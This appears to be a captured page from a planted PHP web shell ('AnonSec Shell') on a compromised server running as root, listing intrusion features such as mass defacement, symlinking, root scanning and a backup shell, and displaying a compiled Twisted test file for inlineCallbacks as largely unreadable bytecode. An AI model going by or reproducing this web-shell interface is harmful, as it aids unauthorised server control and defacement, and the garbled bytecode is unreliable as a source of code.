AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/internet/test/__pycache__/test_inlinecb.cpython-310.pyc
o

�b�,�@s�dZddlmZmZmZmZddlmZmZGdd�de�Z	Gdd�de�Z
Gdd	�d	e�ZGd
d�de�Z
Gdd
�d
e�ZGdd�de�ZGdd�de�ZdS)z�
Tests for L{twisted.internet.defer.inlineCallbacks}.

Some tests for inlineCallbacks are defined in L{twisted.test.test_defgen} as
well.
�)�CancelledError�Deferred�inlineCallbacks�returnValue)�SynchronousTestCase�TestCasec@�eZdZdZdd�ZdS)�StopIterationReturnTestsz�
    On Python 3.4 and newer generator functions may use the C{return} statement
    with a value, which is attached to the L{StopIteration} exception that is
    raised.

    L{inlineCallbacks} will use this value when it fires the C{callback}.
    cCsDdti}td|�t�}|d|�}|�d�|�|�|�d�dS)z�
        If the C{return} statement has a value it is propagated back to the
        L{Deferred} that the C{inlineCallbacks} function returned.
        rz>
@inlineCallbacks
def f(d):
    yield d
    return 14
        �fN�)r�execr�callback�assertEqual�successResultOf)�self�environ�d1�d2�r�E/usr/lib/python3/dist-packages/twisted/internet/test/test_inlinecb.py�test_returnWithValues�	
z-StopIterationReturnTests.test_returnWithValueN)�__name__�
__module__�__qualname__�__doc__rrrrrr	sr	c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�NonLocalExitTestsa�
    It's possible for L{returnValue} to be (accidentally) invoked at a stack
    level below the L{inlineCallbacks}-decorated function which it is exiting.
    If this happens, L{returnValue} should report useful errors.

    If L{returnValue} is invoked from a function not decorated by
    L{inlineCallbacks}, it will emit a warning if it causes an
    L{inlineCallbacks} function further up the stack to exit.
    cCstd�dS)z�
        This method mistakenly invokes L{returnValue}, despite the fact that it
        is not decorated with L{inlineCallbacks}.
        �N)r�rrrr�mistakenMethod?sz NonLocalExitTests.mistakenMethodcCsZ|�|dg�|j|jgd�}|�t|�d�|�|ddt�|�|ddd�dS)ac
        Flush the current warnings and assert that we have been told that
        C{mistakenMethod} was invoked, and that the result from the Deferred
        that was fired (appended to the given list) is C{mistakenMethod}'s
        result.  The warning should indicate that an inlineCallbacks function
        called 'inline' was made to exit.
        r)�offendingFunctionsr�category�messagez�returnValue() in 'mistakenMethod' causing 'inline' to exit: returnValue should only be invoked by functions decorated with inlineCallbacksN)r�
flushWarningsr�len�DeprecationWarning)r�
resultList�warningsrrr�assertMistakenMethodWarningFs
�z-NonLocalExitTests.assertMistakenMethodWarningcs4t�fdd��}|�}g}|�|j���|�dS)z�
        L{returnValue} will emit a non-local exit warning in the simplest case,
        where the offending function is invoked immediately.
        c3s����td�dVdS)N�r�rrrrrr�inline_s�
zANonLocalExitTests.test_returnValueNonLocalWarning.<locals>.inlineN)r�addCallback�appendr')rr*�d�resultsrrr�test_returnValueNonLocalWarningYsz1NonLocalExitTests.test_returnValueNonLocalWarningcsRt��t��fdd��}|�}g}|�|j���|g���d���|�dS)z�
        L{returnValue} will emit a non-local warning in the case where the
        L{inlineCallbacks}-decorated function has already yielded a Deferred
        and therefore moved its generator function along.
        c3s��V���td�dS)Nr(r)r��causerrrr*rs�zBNonLocalExitTests.test_returnValueNonLocalDeferred.<locals>.inlinerN)rrr+r,rr
r')rr*�effectr.rr0r� test_returnValueNonLocalDeferredjs
z2NonLocalExitTests.test_returnValueNonLocalDeferredN)rrrrrr'r/r3rrrrr4s
rc@seZdZdd�Zdd�ZdS)�ForwardTraceBackTestscs\tdd���t�fdd��}|�}|�|�}|��}|�d|�|�d|�|�d|�dS)	z�
        Chained inlineCallbacks are forwarding the traceback information
        from generator to generator.

        A first simple test with a couple of inline callbacks.
        cs��dVtd���Nzforcing generator�Error Marker��	Exceptionrrrr�erroring���z>ForwardTraceBackTests.test_forwardTracebacks.<locals>.erroringc3����VdS�Nrr�r:rr�calling���z=ForwardTraceBackTests.test_forwardTracebacks.<locals>.calling�in erroring�
in callingr7N)r�failureResultOf�getTraceback�assertIn�rr?r-r
�tbrr>r�test_forwardTracebacks�s

z,ForwardTraceBackTests.test_forwardTracebackscs�tdd���t�fdd���t�fdd���t�fdd��}|�}|�|�}|��}|�d	|�|�d
|�|�d|�|�d|�|�d
|�|�d|�|�d	|���dS)a�
        Several Chained inlineCallbacks gives information about all generators.

        A wider test with a 4 chained inline callbacks.

        Application stack-trace should be reported, and implementation details
        like "throwExceptionIntoGenerator" symbols are omitted from the stack.

        Note that the previous test is testing the simple case, and this one is
        testing the deep recursion case.

        That case needs specific code in failure.py to accomodate to stack
        breakage introduced by throwExceptionIntoGenerator.

        Hence we keep the two tests in order to sort out which code we
        might have regression in.
        csr5r6r8rrrrr:�r;zDForwardTraceBackTests.test_forwardLotsOfTracebacks.<locals>.erroringc3r<r=rrr>rr�calling3�r@zDForwardTraceBackTests.test_forwardLotsOfTracebacks.<locals>.calling3c3r<r=rr)rIrr�calling2�r@zDForwardTraceBackTests.test_forwardLotsOfTracebacks.<locals>.calling2c3r<r=rr)rJrrr?�r@zCForwardTraceBackTests.test_forwardLotsOfTracebacks.<locals>.callingrArBzin calling2zin calling3�throwExceptionIntoGeneratorr7N)rrCrDrE�assertNotInrFr)rJrIr:r�test_forwardLotsOfTracebacks�s$

z2ForwardTraceBackTests.test_forwardLotsOfTracebacksN)rrrrHrMrrrrr4�sr4c@�eZdZdZdS)�UntranslatedErrorzL
    Untranslated exception type when testing an exception translation.
    N�rrrrrrrrrO��rOc@rN)�TranslatedErrorzJ
    Translated exception type when testing an exception translation.
    NrPrrrrrR�rQrRc@r)�DontFailz 
    Sample exception type.
    cCst�|�||_dSr=)r9�__init__�actualValue)r�actualrrrrT�s

zDontFail.__init__N)rrrrrTrrrrrS�srSc@sheZdZdZdd�Zdd�Zeddd��Zd	d
�Zddd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�ZdS)�CancellationTestsa!
    Tests for cancellation of L{Deferred}s returned by L{inlineCallbacks}.
    For each of these tests, let:
        - C{G} be a generator decorated with C{inlineCallbacks}
        - C{D} be a L{Deferred} returned by C{G}
        - C{C} be a L{Deferred} awaited by C{G} with C{yield}
    cCs
g|_dS)z>
        Set up the list of outstanding L{Deferred}s.
        N)�deferredsOutstandingrrrr�setUp�s
zCancellationTests.setUpcCs|jr|��|jsdSdS)zG
        If any L{Deferred}s are still outstanding, fire them.
        N)rX�deferredGottenrrrr�tearDown�s�zCancellationTests.tearDownNc
csn�|dur|j}z|�V}Wn tyt��ty.}z|jd}WYd}~nd}~wwt|d�dS)z�
        Generator for testing cascade cancelling cases.

        @param getChildDeferred: Some callable returning L{Deferred} that we
            awaiting (with C{yield})
        Nr(r)�getDeferredrOrRrSrUr)r�getChildDeferred�x�dfrrr�sampleInlineCB�s���z CancellationTests.sampleInlineCBcCs|j�t��|jdS)z�
        A sample function that returns a L{Deferred} that can be fired on
        demand, by L{CancellationTests.deferredGotten}.

        @return: L{Deferred} that can be fired on demand.
        ���)rXr,rrrrrr\s
zCancellationTests.getDeferredcCs|j�d��|�dS)z�
        Fire the L{Deferred} returned from the least-recent call to
        L{CancellationTests.getDeferred}.

        @param result: result object to be used when firing the L{Deferred}.
        rN)rX�popr
)r�resultrrrrZsz CancellationTests.deferredGottencsJdg��fdd�}|j|d�}|�dd��|��|��dtd�d	S)
zN
        When C{D} cancelled, C{C} will be immediately cancelled too.
        �FAILUREcs t�}�fdd�}|�|�|S)Ncs|�t��d<|S)Nr)�checkr�rc��childResultHolderrr�_eb#szWCancellationTests.test_cascadeCancellingOnCancel.<locals>.getChildDeferred.<locals>._eb�r�
addErrback)r-rirgrrr] s
zJCancellationTests.test_cascadeCancellingOnCancel.<locals>.getChildDeferred�r]cSsdSr=rrfrrr�<lambda>+�zBCancellationTests.test_cascadeCancellingOnCancel.<locals>.<lambda>rzno cascade cancelling occursN)r`rk�cancelrr)rr]r-rrgr�test_cascadeCancellingOnCancels
�z0CancellationTests.test_cascadeCancellingOnCancelcCs(|��}|��|�t|�|�j�dS)zg
        When C{D} cancelled, CancelledError from C{C} will be errbacked
        through C{D}.
        N)r`ro�assertRaisesrrC�raiseException)rr-rrr�"test_errbackCancelledErrorOnCancel3s
�z4CancellationTests.test_errbackCancelledErrorOnCancelcsBdd�}t|��|��fdd��}|��|�t|�|�j�dS)z�
        When C{D} is cancelled, and C raises a particular type of error, C{G}
        may catch that error at the point of yielding and translate it into
        a different error which may be received by application code.
        cSs|�t��dSr=)�errbackrO��itrrrroFsz>CancellationTests.test_errorToErrorTranslation.<locals>.cancelc��Sr=rr��arrrmJrnz@CancellationTests.test_errorToErrorTranslation.<locals>.<lambda>N)rr`rorqrRrCrr)rror-rrxr�test_errorToErrorTranslation?s
�z.CancellationTests.test_errorToErrorTranslationcsLdd�}t|��|��fdd��}g}|�|j�|��|�|dg�dS)z�
        When C{D} is cancelled, and C{C} raises a particular type of error,
        C{G} may catch that error at the point of yielding and translate it
        into a result value which may be received by application code.
        cSs|�td��dS)Ni�)rtrSrurrrroXsz@CancellationTests.test_errorToSuccessTranslation.<locals>.cancelcrwr=rrrxrrrm\rnzBCancellationTests.test_errorToSuccessTranslation.<locals>.<lambda>i�N)rr`r+r,ro�assertEquals)rror-r.rrxr�test_errorToSuccessTranslationQsz0CancellationTests.test_errorToSuccessTranslationcs\t���fdd���fdd�}|j|d�}|��|�|���d�|�|�|�d�dS)	a"
        When C{D} is cancelled, it won't reach the callbacks added to it by
        application code until C{C} reaches the point in its callback chain
        where C{G} awaits it.  Otherwise, application code won't be able to
        track resource usage that C{D} may be using.
        cs|�t��Sr=)�traprrf)�moreDeferredrr�deferMeMoreks
zDCancellationTests.test_asynchronousCancellation.<locals>.deferMeMorecst�}|���|Sr=rj)r-)rrr�deferMeos
z@CancellationTests.test_asynchronousCancellation.<locals>.deferMerli�i�N)rr`ro�assertNoResultr
rr)rr�r-r)rr~r�test_asynchronousCancellationbs

z/CancellationTests.test_asynchronousCancellationr=)rrrrrYr[rr`r\rZrprsrzr|r�rrrrrW�s

	rWN)r�twisted.internet.deferrrrr�twisted.trial.unittestrrr	rr4r9rOrRrSrWrrrr�<module>sLI

Anon7 - 2022
AnonSec Team